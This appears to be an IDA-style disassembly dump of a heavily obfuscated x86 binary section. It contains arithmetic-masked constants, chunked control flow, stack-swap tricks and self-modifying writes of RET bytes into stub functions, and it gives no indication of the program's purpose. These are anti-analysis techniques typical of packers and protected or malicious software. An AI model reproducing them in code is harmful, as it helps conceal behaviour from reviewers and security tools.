; FUNCTION CHUNK AT 00438BAF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439AF8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439E96 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043EB3E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044108A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00442476 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0044B658 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C773 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C913 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044E4EF SIZE 0000000D BYTES

		push	ebx
		push	765CA31Eh
		pop	ebx

loc_4477ED:				; CODE XREF: sub_44057E:loc_43EE3Bj
		sub	ebx, 3916E166h
		add	ebx, 3C2AA8C0h
		cmp	ebx, 3A982964h
		jmp	loc_44C773
sub_4477E6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_447804:				; CODE XREF: sub_43B98D:loc_43BF56j
		mov	byte ptr [eax],	0C3h
		jmp	loc_4424FD
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------

loc_44780C:				; CODE XREF: y22d6.y.:00447287j
		mov	eax, [esp]
		push	edx
		call	sub_43BE66
		jmp	loc_4436AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D95

loc_44781A:				; CODE XREF: sub_444D95+Aj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0CFh

loc_447820:				; CODE XREF: sub_43B7B5:loc_43B749j
		jz	loc_43A39A
		mov	eax, [ebp-4]
		jmp	loc_437C4D
; END OF FUNCTION CHUNK	FOR sub_444D95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B196

loc_44782E:				; CODE XREF: sub_44B196:loc_44B19Cj
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		cmp	ds:dword_4465AC[eax*4],	0
		jmp	loc_437C38
; END OF FUNCTION CHUNK	FOR sub_44B196

; =============== S U B	R O U T	I N E =======================================



sub_447841	proc near		; DATA XREF: sub_442DA6-3B8Co

var_4		= dword	ptr -4

		push	edi
		push	0E8D96818h
		pop	edi
		xor	edi, 0A29FFA6Ch
		add	edi, 0B5FD2077h
		xchg	edi, [esp+4+var_4]
		jmp	sub_44A9DF
sub_447841	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_44785C:				; CODE XREF: sub_440280+1DF5j
		rol	ebp, 13h
		jl	loc_44CFB3

loc_447865:				; CODE XREF: sub_440280:loc_438AEAj
		push	2133AA1Fh
		pop	eax
		sub	eax, 0E27FC6DDh
		or	eax, 0D908130Eh
		jmp	loc_438040
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC1C

loc_44787C:				; CODE XREF: sub_43EC1C-21CFj
		or	ecx, edx
		jmp	loc_448DDE
; END OF FUNCTION CHUNK	FOR sub_43EC1C
; ---------------------------------------------------------------------------
		sub	ebx, esi
		or	eax, 0F0843EFFh
		jmp	sub_44A22A
; ---------------------------------------------------------------------------

loc_447890:				; CODE XREF: y22d6.y.:0043A955j
		add	ecx, 6AF742D7h

; =============== S U B	R O U T	I N E =======================================



sub_447896	proc near		; CODE XREF: sub_43E39Ep

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0044240E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00442658 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00444517 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446510 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044657A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044A676 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044CED2 SIZE 0000000F BYTES

		xchg	edi, [esp+0]
		pop	edi
		js	loc_44A676
		jmp	loc_44CED2
sub_447896	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4478A5:				; CODE XREF: y22d6.y.:loc_442287j
		lea	eax, nullsub_19
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_19
; ---------------------------------------------------------------------------
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_4478B4:				; CODE XREF: sub_441F08:loc_44C406j
		mov	eax, [esp+0]
		push	eax
		jmp	loc_43AE81
; END OF FUNCTION CHUNK	FOR sub_441F08

; =============== S U B	R O U T	I N E =======================================



sub_4478BD	proc near		; DATA XREF: y22d6.y.:004486DFo
		xchg	eax, [esp+0]
		mov	edi, eax
		pop	eax
		lea	eax, nullsub_315
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_315
sub_4478BD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jbe	loc_43CE22
		jmp	loc_441FB4
; ---------------------------------------------------------------------------
		mov	ebp, [edi]
		jmp	loc_444697
; ---------------------------------------------------------------------------
		jg	loc_43B0A5
		jmp	sub_44415C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4478EF:				; CODE XREF: sub_448EB6-962j
		jmp	loc_445373
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A359

loc_4478F4:				; CODE XREF: sub_44A359-47E8j
		jmp	loc_443CDE
; END OF FUNCTION CHUNK	FOR sub_44A359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_4478F9:				; CODE XREF: sub_44B489:loc_447091j
		and	edx, 5AD98DD1h
		cmp	eax, ecx
		jmp	loc_43BCD8
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C712

loc_447906:				; CODE XREF: sub_44A53A:loc_44550Ej
					; sub_43C712:loc_445528j
		or	esi, 6DEF0ABDh
		and	esi, 0ABBF6717h
		xor	esi, 0A1B7DF1h
		add	esi, 4BE336C5h
		jmp	loc_442021
; END OF FUNCTION CHUNK	FOR sub_43C712
; ---------------------------------------------------------------------------

loc_447923:				; DATA XREF: sub_442060+8334o
		add	esi, 4EDA2FBFh
		mov	[esi], eax
		pop	esi
		mov	eax, [ebp-4]
		mov	al, [eax]
		jo	loc_43A033
		sub	al, 99h
		jmp	loc_44710B
; ---------------------------------------------------------------------------

loc_44793E:				; CODE XREF: y22d6.y.:0043CB3Aj
		add	esi, edi

; =============== S U B	R O U T	I N E =======================================



sub_447940	proc near		; CODE XREF: sub_43BEF7-3241p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043941D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043AC83 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C4D0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043DACE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444306 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00445269 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00447AD9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044B2B8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044E2D8 SIZE 00000005 BYTES

		xchg	esi, [esp-4+arg_0]
		pop	esi
		push	0F93C2h
		jmp	loc_43DACE
sub_447940	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4414E8

loc_44794F:				; CODE XREF: sub_4414E8+Aj
		jmp	loc_44322F
; END OF FUNCTION CHUNK	FOR sub_4414E8
; ---------------------------------------------------------------------------

loc_447954:				; CODE XREF: y22d6.y.:0043EF72j
					; y22d6.y.:0044A121j
		add	ecx, 0D578C760h
		and	ecx, 1D82A443h
		rol	ecx, 13h
		add	ecx, 411DF3h
		mov	[ecx], eax
		pop	ecx
		jmp	loc_4413EC
; ---------------------------------------------------------------------------

loc_447971:				; CODE XREF: y22d6.y.:0043B9ACj
		jge	loc_4435AC

loc_447977:				; CODE XREF: y22d6.y.:00446FCFj
		jmp	loc_44CC25
; ---------------------------------------------------------------------------

loc_44797C:				; CODE XREF: y22d6.y.:0043FF46j
		jmp	loc_448DF3
; ---------------------------------------------------------------------------
		and	eax, ecx
		or	edx, 3EC05B0h
		jmp	loc_448DA0

; =============== S U B	R O U T	I N E =======================================



sub_44798E	proc near		; CODE XREF: sub_445194+Aj

; FUNCTION CHUNK AT 0043B73B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00442F3B SIZE 00000005 BYTES

		push	ebx
		push	25AB6757h
		pop	ebx
		sub	ebx, 6A492626h
		jmp	loc_442F3B
sub_44798E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_4479A0:				; CODE XREF: sub_440280-59D5j
		jg	loc_4434BF
		mov	ecx, 7ED24A4Ch

loc_4479AB:				; CODE XREF: y22d6.y.:loc_438464j
		push	0
		push	edi
		jmp	loc_4474AE
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445362

loc_4479B3:				; CODE XREF: sub_445362-7094j
		jz	loc_44A751
		sbb	eax, 6E2EE35h
		jmp	loc_43B749
; END OF FUNCTION CHUNK	FOR sub_445362
; ---------------------------------------------------------------------------

loc_4479C4:				; CODE XREF: y22d6.y.:loc_44C937j
		sub	al, 99h
		push	9142B9AEh
; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_4479CB:				; CODE XREF: sub_43E81B:loc_43B07Dj
		pop	edx
		jmp	loc_43A371
; END OF FUNCTION CHUNK	FOR sub_43E81B
; ---------------------------------------------------------------------------
		popf
		jmp	sub_444822
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4479D7:				; CODE XREF: sub_4432B8+2E0j
					; sub_44371A+6541j
		jz	loc_43F2AF
		jmp	loc_43D298
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_4479E2:				; CODE XREF: y22d6.y.:0044A6A2j
		push	1813D681h
		xchg	edi, [esp]
		mov	eax, edi
		pop	edi
		rol	eax, 5
		add	eax, 1B5B54F5h
		sub	eax, 0D326134Eh
		jmp	loc_445718

; =============== S U B	R O U T	I N E =======================================



sub_447A01	proc near		; CODE XREF: sub_44B81B:loc_43737Fp
					; y22d6.y.:0043B9EEj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004394AC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043DD02 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C024 SIZE 00000008 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	0BF2BDDCBh
		pop	esi
		jmp	loc_43DD02
sub_447A01	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_447A10:				; CODE XREF: y22d6.y.:loc_44DD7Bj
		movzx	eax, byte ptr [eax]
		mov	[ebp-1Ch], eax
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		mov	eax, ds:dword_4465AC[eax*4]
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	loc_43D4F4
		jmp	loc_43D011
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_447A35:				; CODE XREF: sub_440280+74E3j
		jnz	nullsub_166
		add	ebx, eax

loc_447A3D:				; CODE XREF: y22d6.y.:004377ABj
		jmp	loc_44BA63
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_447A42:				; CODE XREF: sub_44E5C7-BBADj
		jnz	loc_43AFAB
		jmp	loc_444BA4
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_447A4D:				; CODE XREF: sub_44BCC2-133E7j
		jnz	loc_43B0D8

loc_447A53:				; CODE XREF: y22d6.y.:0044B72Bj
		jmp	loc_43D3B5
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
		jmp	locret_43B8A7
; ---------------------------------------------------------------------------
		mov	ebx, ebp
		jmp	loc_43B0CF
; ---------------------------------------------------------------------------

loc_447A64:				; DATA XREF: y22d6.y.:004403D4o
		call	sub_44A9DF
; START	OF FUNCTION CHUNK FOR sub_44DB81

loc_447A69:				; CODE XREF: sub_44DB81:loc_44A915j
		or	eax, eax
		jnz	loc_4380DB
		jmp	loc_445F7D
; END OF FUNCTION CHUNK	FOR sub_44DB81

; =============== S U B	R O U T	I N E =======================================



sub_447A76	proc near		; DATA XREF: y22d6.y.:loc_44131Bo
		lea	eax, nullsub_46
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_46
sub_447A76	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444541

loc_447A84:				; CODE XREF: sub_444541:loc_43C1DFj
		mov	eax, [esp-4+arg_0]
		push	esi
		mov	esi, edx
		jmp	loc_44A743
; END OF FUNCTION CHUNK	FOR sub_444541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D7E0

loc_447A8F:				; CODE XREF: sub_44D7E0-5BABj
		jnz	locret_43B3E5

loc_447A95:				; CODE XREF: sub_44D7E0:loc_440A72j
		mov	eax, [esp+0]
		push	edx
		push	0C33A4E40h
		jmp	loc_43D657
; END OF FUNCTION CHUNK	FOR sub_44D7E0
; ---------------------------------------------------------------------------
		mov	eax, 201E933Eh
		call	sub_43CA1A
		push	edi
		push	773A412Ah
		jmp	loc_44A46A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4428C2

loc_447AB8:				; CODE XREF: sub_4428C2+732Cj
		pop	edx
		or	edx, 55DE0AD6h
		and	edx, 6BE8F614h
		add	edx, 9C5B0FEAh
		xchg	edx, [esp+4+var_4]
		jmp	loc_43EF67
; END OF FUNCTION CHUNK	FOR sub_4428C2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_238. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4436DB

loc_447AD4:				; CODE XREF: sub_4436DB:loc_4436ECj
		jmp	loc_43B4F2
; END OF FUNCTION CHUNK	FOR sub_4436DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447940

loc_447AD9:				; CODE XREF: sub_447940:loc_43DACEj
		xchg	eax, [esp+0]
		not	edx
		jmp	loc_445269
; END OF FUNCTION CHUNK	FOR sub_447940

; =============== S U B	R O U T	I N E =======================================



sub_447AE3	proc near		; DATA XREF: sub_43C17E-4E80o
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-14h], 4
		jnz	loc_44E3DD
		mov	eax, [ebp+8]
		push	offset sub_43D025
		jmp	nullsub_102
sub_447AE3	endp

; ---------------------------------------------------------------------------
		mov	edx, 64EFA9EDh
		call	sub_44D293
		push	eax
		ror	eax, 15h
		mov	ds:dword_44198C, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4387EA

loc_447B12:				; CODE XREF: sub_4387EA+Cj
		rol	eax, 15h
		jmp	sub_44DF22
; END OF FUNCTION CHUNK	FOR sub_4387EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A58D

loc_447B1A:				; CODE XREF: sub_43A58D+5497j
					; y22d6.y.:0044DE47j
		rol	ebx, 1
		jb	loc_43F73E
		add	edi, 0BAB7B57h
		shl	edi, 0Ah
		jmp	loc_43F736
; END OF FUNCTION CHUNK	FOR sub_43A58D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_447B30:				; CODE XREF: sub_439051-1281j
		push	63E85BEFh
		pop	edx
		and	edx, 951DD015h
		add	edx, 47931E09h
		jmp	loc_441360
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
		push	ecx
		jmp	loc_44D45E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_447B4D:				; CODE XREF: sub_44E5C7:loc_44CD60j
		rol	eax, 8
		or	eax, 9354E5h
		add	eax, 0F60708C1h
		add	eax, ebp
		add	eax, 0EC459F56h
		mov	eax, [eax]
		jmp	loc_438A28
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440A88

loc_447B6B:				; CODE XREF: sub_440A88+Fj
		lea	eax, nullsub_341
		mov	byte ptr [eax],	0C3h
		jmp	loc_441984
; END OF FUNCTION CHUNK	FOR sub_440A88
; ---------------------------------------------------------------------------

loc_447B79:				; CODE XREF: y22d6.y.:004445C8j
		mov	eax, [esp]
		push	esi
		mov	esi, edx
		xchg	esi, [esp]
		push	ecx
		push	74C62727h
		jmp	loc_43DCB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_447B8D:				; CODE XREF: sub_44B1D2:loc_43FBABj
		adc	eax, ecx
		sbb	ecx, 0E3387251h

loc_447B95:				; CODE XREF: sub_44271A:loc_44ABBEj
		push	256A93AEh
		pop	eax
		xor	eax, 0B64B1075h
		and	eax, 8738F989h
		sub	eax, 0BA81351h
		jmp	loc_437753
; END OF FUNCTION CHUNK	FOR sub_44B1D2

; =============== S U B	R O U T	I N E =======================================



sub_447BB2	proc near		; CODE XREF: sub_444E14:loc_43D33Fp
					; y22d6.y.:00444AA5j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043E360 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044184C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442827 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004445BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444887 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0044B291 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044B34F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044E280 SIZE 00000018 BYTES

		xchg	eax, [esp+4+var_4]
		pop	eax
		xor	eax, 4A70CD9Fh
		jmp	loc_442827
sub_447BB2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_447BC1:				; CODE XREF: sub_44271Aj
		mov	eax, ds:dword_439048
		or	eax, eax
		jnz	loc_437EC7
		jmp	loc_441BD8
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B635

loc_447BD4:				; CODE XREF: sub_44B635-14586j
		push	0D027840Fh
		xchg	ebp, [esp+8+var_8]
		mov	ecx, ebp
		pop	ebp
		jmp	loc_44D676
; END OF FUNCTION CHUNK	FOR sub_44B635
; ---------------------------------------------------------------------------

loc_447BE4:				; CODE XREF: y22d6.y.:00441CCEj
		jp	loc_440279
		jnz	loc_44A12C
		jmp	sub_443BD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_447BF5:				; CODE XREF: sub_43B98D+F8A3j
		jge	loc_438648

loc_447BFB:				; CODE XREF: y22d6.y.:0043B37Aj
		jmp	loc_44C468
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------
		popf
		jmp	loc_438646
; ---------------------------------------------------------------------------
		mov	eax, 3195933h
		call	sub_444581
		mov	ds:off_41E200, eax
		lea	eax, sub_444427
		mov	byte ptr [eax],	0C3h
		jmp	loc_439628
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_447C24:				; CODE XREF: sub_444427j
		xchg	edi, [esp+4+var_4]
		jmp	loc_449910
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D7E0

loc_447C2C:				; CODE XREF: sub_44D7E0-CD68j
		cdq
		adc	esi, eax
		test	esi, 0B35D47ABh
		jmp	loc_447A8F
; END OF FUNCTION CHUNK	FOR sub_44D7E0
; ---------------------------------------------------------------------------
		mov	ds:off_41E088, eax
		lea	eax, loc_446405
		mov	byte ptr [eax],	0C3h
		jmp	loc_4374B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A94

loc_447C4E:				; CODE XREF: sub_438A94:loc_446405j
		pop	edx
		mov	eax, [esp+0]
		push	edi
		jmp	loc_43D639
; END OF FUNCTION CHUNK	FOR sub_438A94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_447C58:				; CODE XREF: sub_4475B3:loc_43B702j
					; y22d6.y.:00440AF0j
		xor	esi, 96137AE1h
		call	sub_440ABC
; END OF FUNCTION CHUNK	FOR sub_4475B3
; START	OF FUNCTION CHUNK FOR sub_43BEF7

loc_447C63:				; CODE XREF: sub_43BEF7+EE20j
		mov	eax, [eax]
		call	sub_44D5B4
; END OF FUNCTION CHUNK	FOR sub_43BEF7
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_447C6A:				; CODE XREF: sub_442C0C+1D83j
		jmp	loc_442142
; END OF FUNCTION CHUNK	FOR sub_442C0C

; =============== S U B	R O U T	I N E =======================================



sub_447C6F	proc near		; DATA XREF: sub_448EB6-C39Do

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437663 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043CB09 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043E56B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00441FE3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044D715 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D9F0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044DBFD SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		mov	eax, edx
		push	esi
		push	6E4923A6h
		xchg	ebx, [esp+4+var_4]
		mov	esi, ebx
		pop	ebx
		jmp	loc_43CB09
sub_447C6F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_447C85:				; CODE XREF: sub_44057E+4966j
					; sub_4383E0:loc_447739j
		cmp	ecx, 2C146957h
		jmp	loc_43AD7E
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44066C

loc_447C90:				; CODE XREF: sub_44066C+6A7Aj
		rol	eax, 18h
		push	esi

loc_447C94:				; CODE XREF: y22d6.y.:loc_449B79j
		mov	esi, eax
		xchg	esi, [esp+0]
		jmp	nullsub_355
; END OF FUNCTION CHUNK	FOR sub_44066C

; =============== S U B	R O U T	I N E =======================================



sub_447C9E	proc near		; CODE XREF: sub_43832B+Ap
					; y22d6.y.:00439565j

; FUNCTION CHUNK AT 00439D7C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441F39 SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	byte ptr [eax],	0C3h
		call	sub_43BA9E

loc_447CAA:				; CODE XREF: y22d6.y.:00444501j
		jmp	loc_441F39
sub_447C9E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_447CAF:				; CODE XREF: sub_44057E+51CBj
		pop	ecx
		xchg	edi, [esp+0]
		mov	ebp, edi
		pop	edi
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------

loc_447CB9:				; CODE XREF: y22d6.y.:00444280j
		jmp	sub_44C171

; =============== S U B	R O U T	I N E =======================================



sub_447CBE	proc near		; CODE XREF: y22d6.y.:0043D3C9p
					; sub_4416CB:loc_43E009j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00438515 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00447F23 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044B301 SIZE 00000005 BYTES

		push	eax
		mov	eax, ebp
		xchg	eax, [esp+4+var_4]
		jmp	loc_447F23
sub_447CBE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C694

loc_447CC9:				; CODE XREF: sub_43C694+Dj
		and	ebx, 64FD7481h
		test	ebx, 40h
		jmp	loc_43DA27
; END OF FUNCTION CHUNK	FOR sub_43C694
; ---------------------------------------------------------------------------

loc_447CDA:				; CODE XREF: y22d6.y.:loc_44052Ej
		jz	near ptr byte_43F615
		jmp	loc_4492FD
; ---------------------------------------------------------------------------

loc_447CE5:				; CODE XREF: y22d6.y.:loc_43A673j
		jz	loc_438577

loc_447CEB:				; CODE XREF: y22d6.y.:00445B66j
		jmp	loc_4440D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440D9E

loc_447CF0:				; CODE XREF: sub_440D9E+5BDj
		jmp	nullsub_97
; END OF FUNCTION CHUNK	FOR sub_440D9E
; ---------------------------------------------------------------------------
		mov	ecx, 0B0190F87h
		sub	edi, esi
		jmp	loc_438577
; ---------------------------------------------------------------------------
		pop	ebp
		not	eax
		jmp	loc_44A3FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D534

loc_447D09:				; CODE XREF: sub_44D534:loc_44D541j
		or	ebx, 983745DBh
		sub	ebx, 3C70480Fh
		add	ebx, 0A2FA2BACh
		mov	[ebx], eax
		pop	ebx
		lea	eax, nullsub_297
		mov	byte ptr [eax],	0C3h
		jmp	loc_44A999
; END OF FUNCTION CHUNK	FOR sub_44D534
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_447D2C:				; CODE XREF: sub_448EB6:loc_44769Ej
		mov	eax, [esp-8+arg_4]
		jmp	loc_43DB88
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_447D34:				; CODE XREF: sub_43B7B5-37E2j
		ja	loc_442611
		sub	ebp, 2D36D5A6h
		jmp	loc_44D16E
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C980

loc_447D45:				; CODE XREF: sub_44C980+9Cj
		add	eax, 5ADAD80Bh
		call	sub_444E14
; END OF FUNCTION CHUNK	FOR sub_44C980
; START	OF FUNCTION CHUNK FOR sub_43946E

loc_447D50:				; CODE XREF: sub_43946E+1288Aj
		jmp	loc_4450EC
; END OF FUNCTION CHUNK	FOR sub_43946E
; ---------------------------------------------------------------------------

loc_447D55:				; CODE XREF: y22d6.y.:00445AC2j
		jmp	sub_442C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_447D5A:				; CODE XREF: sub_44E5C7-13610j
		jz	loc_44C761
		jmp	loc_441858
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------
		jnz	loc_43D1E3
		jmp	loc_44D02C
; ---------------------------------------------------------------------------

loc_447D70:				; CODE XREF: y22d6.y.:loc_44E201j
		call	sub_43CA1A
		push	offset sub_44D130
		jmp	locret_43BCEC

; =============== S U B	R O U T	I N E =======================================



sub_447D7F	proc near		; CODE XREF: sub_43E31B+9p
					; y22d6.y.:00448C07j

; FUNCTION CHUNK AT 004405EB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00442FC3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00443C2F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004457F6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B97B SIZE 0000001C BYTES

		xchg	edx, [esp+0]
		pop	edx
		cmp	al, 0A4h
		jz	loc_443C2F
		jmp	loc_448E85
sub_447D7F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_447D90:				; CODE XREF: sub_438B66+129E8j
		jl	loc_4491B4
		jmp	loc_43AB9A
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------

locret_447D9B:				; CODE XREF: y22d6.y.:00448138j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_447D9C:				; CODE XREF: sub_449641:loc_43EEE5j
		jge	loc_439D88

loc_447DA2:				; CODE XREF: y22d6.y.:0044A381j
		jmp	loc_43CC32
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E14E

loc_447DA7:				; CODE XREF: sub_44E14E-12FAFj
		jmp	sub_443EA2
; END OF FUNCTION CHUNK	FOR sub_44E14E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B10

loc_447DAC:				; CODE XREF: sub_437B10+1A90j
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_437B10
; ---------------------------------------------------------------------------
		xchg	edx, ecx
		and	ecx, esi
		add	eax, 0F2CDAC77h
		jnp	loc_443E6C
		jmp	loc_439D86
; ---------------------------------------------------------------------------

loc_447DC6:				; DATA XREF: sub_443AFF-6E78o
		push	0A710BFDAh
		xchg	edx, [esp]
		mov	ecx, edx
		pop	edx
		and	ecx, 2BA8DC09h
		rol	ecx, 7
		test	ecx, 400h
		jmp	loc_44258D
; ---------------------------------------------------------------------------
